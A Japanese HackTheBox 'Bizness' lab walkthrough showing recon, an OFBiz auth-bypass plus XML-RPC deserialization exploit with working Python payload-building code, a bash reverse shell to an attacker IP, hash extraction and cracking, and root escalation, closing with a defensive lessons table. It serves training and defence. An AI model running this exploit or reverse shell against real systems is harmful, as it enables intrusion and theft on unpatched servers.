HackTheBox: Bizness — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80/443
→
22/80/443
vhost特定
bizness.htb へ301リダイレクト
→
bizness.htb へ301リダイレクト
OFBiz 18.12 特定
/webtools/control/xmlrpc
→
/webtools/control/xmlrpc
CVE-2023-51467+49070
認証バイパス+XML-RPC逆直列化RCE
→
認証バイパス+XML-RPC逆直列化RCE
ofbiz シェル取得
user.txt ✓
→
user.txt ✓
Derby DB ハッシュ抽出
$SHA$d$…
→
$SHA$d$…
hashcat -m 120
rockyou → monkeybizness
→
rockyou → monkeybizness
su root → root.txt ✓
PHASE 1
偵察 (Reconnaissance)
全ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.92.131
RESULT
Not shown: 64973 closed tcp ports (reset), 558 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https 45943/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 158.95 seconds
バージョン・スクリプトスキャン
BASH
nmap -sV -sC -p 22,80,443,45943 10.129.92.131
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) 80/tcp open http nginx 1.18.0 |_http-server-header: nginx/1.18.0 |_http-title: Did not follow redirect to https://bizness.htb/ 443/tcp open ssl/http nginx 1.18.0 |_http-server-header: nginx/1.18.0 | ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK | Not valid before: 2023-12-14T20:03:40 |_Not valid after: 2328-11-10T20:03:40 |_http-title: Did not follow redirect to https://bizness.htb/ 45943/tcp open tcpwrapped Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
🚨
重要発見: 80/443 とも nginx が
https://bizness.htb/ へリダイレクトしており、
未知の vhost 名が判明。443 の証明書は自己署名 (Internet Widgits Pty Ltd — OpenSSL デフォルト値のまま)。
45943/tcp は内容不明の tcpwrapped(本チェーンでは使用しない)。
PHASE 2
Web調査 & vhost特定 — bizness.htb
リダイレクト先の確認
BASH
curl -sI --max-time 10 http://10.129.92.131
RESULT
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0
Content-Type: text/html
Content-Length: 169
Connection: keep-alive
Location: https://bizness.htb/
BASH
whatweb -a 3 http://10.129.92.131 --log-brief=-
RESULT
http://10.129.92.131 [301 Moved Permanently] HTTPServer[nginx/1.18.0], RedirectLocation, Title[301 Moved Permanently], nginx[1.18.0] https://bizness.htb/
/etc/hosts に vhost を追加
BASH
echo "10.129.92.131 bizness.htb" | sudo tee -a /etc/hosts
BASH
curl -sk https://bizness.htb/ | head -c 500
RESULT
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>BizNess Incorporated</title>
...
<!-- Theme Name: BizPage / Theme URL: bootstrapmade.com -->
ℹ️
トップページは BootstrapMade の企業テンプレート「BizPage」をそのまま使った見せかけの会社サイト。
実際のアプリケーション本体はここではなく、別パスに隠れている。
アプリケーション本体の特定 — /webtools/control/xmlrpc
BASH
curl -sk https://bizness.htb/webtools/control/xmlrpc | grep -i -E "title|release"
RESULT
<title>OFBiz: Web Tools: Login</title> ... Powered by Apache OFBiz. Release 18.12
🚨
確定: 本サイトのバックエンドは Apache OFBiz 18.12。
/webtools/control/xmlrpc は本来管理者専用の XML-RPC エンドポイントだが、
未認証でページ自体には到達できる=既知の pre-auth RCE 系脆弱性の有力候補。
PHASE 3
脆弱性調査 — CVE-2023-49070 / CVE-2023-51467
Metasploit モジュール検索
BASH
msfconsole -q -x "search ofbiz; exit"
RESULT
# Name Disclosure Date Rank Check Description 0 exploit/linux/http/apache_ofbiz_deserialization_soap 2021-03-22 excellent Yes Apache OFBiz SOAP Java Deserialization 3 exploit/linux/http/apache_ofbiz_deserialization 2020-07-13 excellent Yes Apache OFBiz XML-RPC Java Deserialization 6 exploit/multi/http/apache_ofbiz_forgot_password_directory_traversal 2024-05-30 excellent Yes Apache OFBiz forgotPassword/ProgramExport RCE
ℹ️
apache_ofbiz_deserialization のモジュール説明文には
「Versions up to 18.12.11 are exploitable utilizing an auth bypass CVE-2023-51467
and use the CommonsBeanutils1 gadget chain. Verified working on 18.12.09, 17.12.01, and 15.12」
と明記されており、本ターゲット (18.12) に一致する。
脆弱性のメカニズム
NOTE
1. CVE-2023-51467(認証バイパス):
/webtools/control/xmlrpc は本来ログイン必須だが、リクエストに
?USERNAME=&PASSWORD=x&requirePasswordChange=Y
を付与すると、OFBiz の認証処理が「パスワード変更要求」状態を誤認識し、
ログインチェックをスキップしたまま後続処理に進んでしまう。
2. CVE-2023-49070(XML-RPC 逆直列化 RCE):
xmlrpc エンドポイントは <serializable> タグ内の base64 データを
そのまま Java のオブジェクト逆直列化(ObjectInputStream#readObject)に
渡してしまう。classpath 上に存在する commons-beanutils の
PropertyUtils ガジェットチェーン(CommonsBeanutils1, ysoserial 由来)
を使うことで、逆直列化の過程で任意の bash コマンドを実行できる。
→ 両CVEを組み合わせることで「未認証のまま」「任意コマンド実行」が成立する。
PHASE 4
エクスプロイト実行 & user.txt 取得
CommonsBeanutils1 ガジェットペイロードの生成
NOTE
msfconsole の GUI を使わず、同モジュールが内部で参照している /usr/share/metasploit-framework/data/ysoserial_payloads.json の "bash" → "CommonsBeanutils1" エントリ(base64済みの雛形バイト列 + 挿入位置 bufferOffset + 長さフィールド位置 lengthOffset)を直接読み、 実行したい bash コマンドを雛形の指定オフセットへ挿入 → 前後2箇所の ビッグエンディアン16bit長さフィールドを更新する、という msf 本体と 同一ロジックを約40行の Python で再現した(msfconsole そのものは起動しない)。
PYTHON (build_payload.py の要点)
info = data["bash"]["CommonsBeanutils1"]
raw = bytearray(base64.b64decode(info["bytes"]))
cmd_b = b"bash -c 'bash -i >& /dev/tcp/10.10.15.200/4455 0>&1'"
buf_off = info["bufferOffset"][0] # 挿入位置
raw = raw[:buf_off] + cmd_b + raw[buf_off:]
for lo in info["lengthOffset"]: # 長さフィールド2箇所を補正
idx = lo - 1
new = ((raw[idx] << 8) | raw[idx+1]) + len(cmd_b)
raw[idx], raw[idx+1] = (new >> 8) & 0xFF, new & 0xFF
payload_b64 = base64.b64encode(bytes(raw)).decode() # → XML-RPC に埋め込む
XML-RPC 逆直列化リクエストの送信(認証バイパス込み)
BASH
# ターミナル1: リバースシェル用リスナー nc -lnvp 4455
PYTHON (リクエスト送信)
url = "https://bizness.htb:443/webtools/control/xmlrpc;/" \
"?USERNAME=&PASSWORD=x&requirePasswordChange=Y" # CVE-2023-51467 認証バイパス
xml_body = f"""<?xml version="1.0"?>
<methodCall>
<methodName>{rand_name}</methodName>
<params><param><value><struct><member>
<name>{rand_name}</name>
<value>
<serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">{payload_b64}</serializable>
</value>
</member></struct></value></param></params>
</methodCall>"""
req = urllib.request.Request(url, data=xml_body.encode(),
headers={"Content-Type": "text/xml"}, method="POST")
urllib.request.urlopen(req, context=ssl_ctx, timeout=15) # CVE-2023-49070 逆直列化RCE発火
RESULT
[*] POST https://bizness.htb:443/webtools/control/xmlrpc;/?USERNAME=&PASSWORD=x&requirePasswordChange=Y (4253 bytes) [+] HTTP 200 [*] waiting for reverse shell... [+] connect from ('10.129.92.131', 55754)
✅
RCE成功。 HTTP応答コード自体は200(正常なXML-RPCエラー応答でも返る点に注意)だが、
それと同時にOFBiz側のJVMプロセス内で逆直列化中にbashコマンドが実行され、
リスナーへコールバック接続が返ってきた。
シェル接続確認 & user.txt 取得
BASH
whoami && id cat /home/ofbiz/user.txt
RESULT
ofbiz@bizness:/opt/ofbiz$ whoami && id ofbiz uid=1001(ofbiz) gid=1001(ofbiz-operator) groups=1001(ofbiz-operator) ofbiz@bizness:/opt/ofbiz$ cat /home/ofbiz/user.txt ec5d0a679350714a3ca285583aa83c98
user.txt — ofbiz@bizness
ec5d0a679350714a3ca285583aa83c98
PHASE 5
権限昇格調査 — Derby DB ハッシュ抽出とクラック
OFBiz が使う組込みDB (Apache Derby) 内のadminパスワードハッシュを探索
NOTE
OFBiz は既定で組込みの Apache Derby データベースをファイルベースで /opt/ofbiz/runtime/data/derby/ofbiz/seg0/ 以下の *.dat に保持している。 OFBizのパスワードハッシュは "$SHA$<salt>$<base64url-hash>" という独自形式で 平文のまま .dat ファイル内に埋め込まれていることが多いため、暗号化層を 迂回してテーブルを直接 grep/strings するだけで抽出できる。
BASH
grep -ral '\$SHA\$' /opt/ofbiz/runtime/data/derby/ofbiz/seg0/*.dat 2>/dev/null strings /opt/ofbiz/runtime/data/derby/ofbiz/seg0/*.dat 2>/dev/null \ | grep -o '\$SHA\$[A-Za-z0-9_$-]*' | sort -u
RESULT
/opt/ofbiz/runtime/data/derby/ofbiz/seg0/c54d0.dat
/opt/ofbiz/runtime/data/derby/ofbiz/seg0/c6650.dat
$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I
✅
admin のハッシュらしき文字列を1件発見。形式は
$SHA$<salt="d">$<base64url-digest>。
OFBiz独自ハッシュ形式 → hashcat形式への変換
NOTE
OFBizの検証ロジックは SHA1(salt_bytes + password_bytes) を base64url(パディング無し)でエンコードしたものと一致するか比較している。 hashcat のモード 120 (sha1($salt.$pass)) は "<hex-digest>:<salt>" を 要求するため、base64urlデコード→16進数変換するだけで直接投入できる。
PYTHON
salt, b64url = "d", "uP0_QaVBpDWFeo8-dRzDqRwXQ2I"
pad = (4 - len(b64url) % 4) % 4
digest = base64.urlsafe_b64decode(b64url + "=" * pad)
hc_line = f"{digest.hex()}:{salt}"
print(hc_line)
RESULT
b8fd3f41a541a435857a8f3e751cc3a91c174362:d
hashcat -m 120 によるクラック(rockyou.txt)
BASH
echo 'b8fd3f41a541a435857a8f3e751cc3a91c174362:d' > ofbiz_admin.hash hashcat -m 120 -a 0 ofbiz_admin.hash /usr/share/wordlists/rockyou.txt --force
RESULT
b8fd3f41a541a435857a8f3e751cc3a91c174362:d:monkeybizness
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 120 (sha1($salt.$pass))
Hash.Target......: b8fd3f41a541a435857a8f3e751cc3a91c174362:d
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 1480704/14344385 (10.32%)
Speed.#01........: 1665.3 kH/s (0.60ms)
Candidates.#01...: mosnarak -> mommy1205
✅
クラック成功: admin パスワードは
monkeybizness。
rockyou.txt の約10%地点(約148万語)でヒットし、1秒未満で完了した。
PHASE 6
su root → root.txt
パスワード使い回しの確認 — root の SSH ログインは拒否される
BASH
sshpass -p 'monkeybizness' ssh -o StrictHostKeyChecking=no root@10.129.92.131 "id"
RESULT
Permission denied, please try again.
⚠️
OpenSSH 側では root のパスワード認証ログインが拒否される(
PermitRootLogin 制限、
または root 自体のパスワードが別物である可能性)。SSH越しには root化できないため、
既に握っている ofbiz シェルから su で直接昇格する。
ofbiz シェル内から su root
BASH
su root -c 'cat /root/root.txt' <<< 'monkeybizness'
RESULT
ofbiz@bizness:/opt/ofbiz$ su root -c 'cat /root/root.txt' <<< 'monkeybizness'
Password: fd6225bb918507cff1c1c750068188a5
✅
root化成功。 admin パスワード
monkeybizness は OSユーザー root の
パスワードとしても使い回されている(典型的な「DB内の管理者ハッシュ=OSアカウントのパスワード流用」パターン)。
root.txt 取得
root.txt — root@bizness
fd6225bb918507cff1c1c750068188a5
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — ofbiz@bizness
ec5d0a679350714a3ca285583aa83c98
root.txt — root@bizness
fd6225bb918507cff1c1c750068188a5
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2023-51467 | Apache OFBiz 18.12 (webtools) | 認証バイパス | High | ?USERNAME=&PASSWORD=x&requirePasswordChange=Y で /webtools 系エンドポイントのログイン必須チェックを回避 |
| CVE-2023-49070 | /webtools/control/xmlrpc (Java deserialization) | 未認証リモートコード実行 | Critical | XML-RPC <serializable> に CommonsBeanutils1 ガジェットチェインを仕込み、逆直列化時にbashコマンド実行 |
| パスワード使い回し | OFBiz admin ↔ OS root | 権限昇格 (ofbiz → root) | Medium | Derby DB の admin ハッシュをクラックした平文パスワードが、そのまま root の su パスワードとしても有効だった |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap 全ポート + バージョンスキャン | 22/80/443, nginx が https://bizness.htb/ へリダイレクト |
| 2 | Web調査 | /etc/hosts追加 + webtoolsページ確認 | Apache OFBiz 18.12 と判明 |
| 3 | 脆弱性調査 | msfconsole search + 公開アドバイザリ確認 | CVE-2023-49070 / CVE-2023-51467 の組合せを特定 |
| 4 | エクスプロイト | CommonsBeanutils1ペイロード自前生成 + 認証バイパスPOST | user.txt 取得(ofbiz シェル) |
| 5 | 権限調査 | Derby DB の $SHA$ ハッシュ抽出 + hashcat -m 120 | admin/root 共通パスワード monkeybizness を復元 |
| 6 | 権限昇格 | su root (SSH root ログインは拒否される) | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 古い Apache OFBiz 18.12 を使用し続け、既知のpre-auth RCE (CVE-2023-49070/51467) 未適用 | 最新パッチの速やかな適用。少なくとも /webtools 系パスは内部ネットワーク限定にし、インターネットから到達不能にする。 |
| XML-RPC エンドポイントが任意のJavaオブジェクト逆直列化を受け入れてしまう | 信頼できないデシリアライズ入力を受け付けない実装へ修正(allow-list方式のクラスフィルタ等)。WAFでシリアライズストリームのマジックバイトを検査する緩和策も有効。 |
| DB(Derby)内に管理者パスワードハッシュが平文に近い形式で残存し、ファイルを直接読めば抽出できる | 弱いカスタムハッシュ形式(SHA1+短い固定salt)の使用を止め、bcrypt/argon2等の低速ハッシュへ移行。ファイルパーミッションでDBデータへの直接アクセスを制限。 |
| アプリケーション管理者パスワードをOSの root パスワードとして使い回している | アプリケーション認証情報とOSアカウント認証情報を完全に分離する。パスワードの使い回しを禁止する組織ポリシー・パスワードマネージャの導入。 |

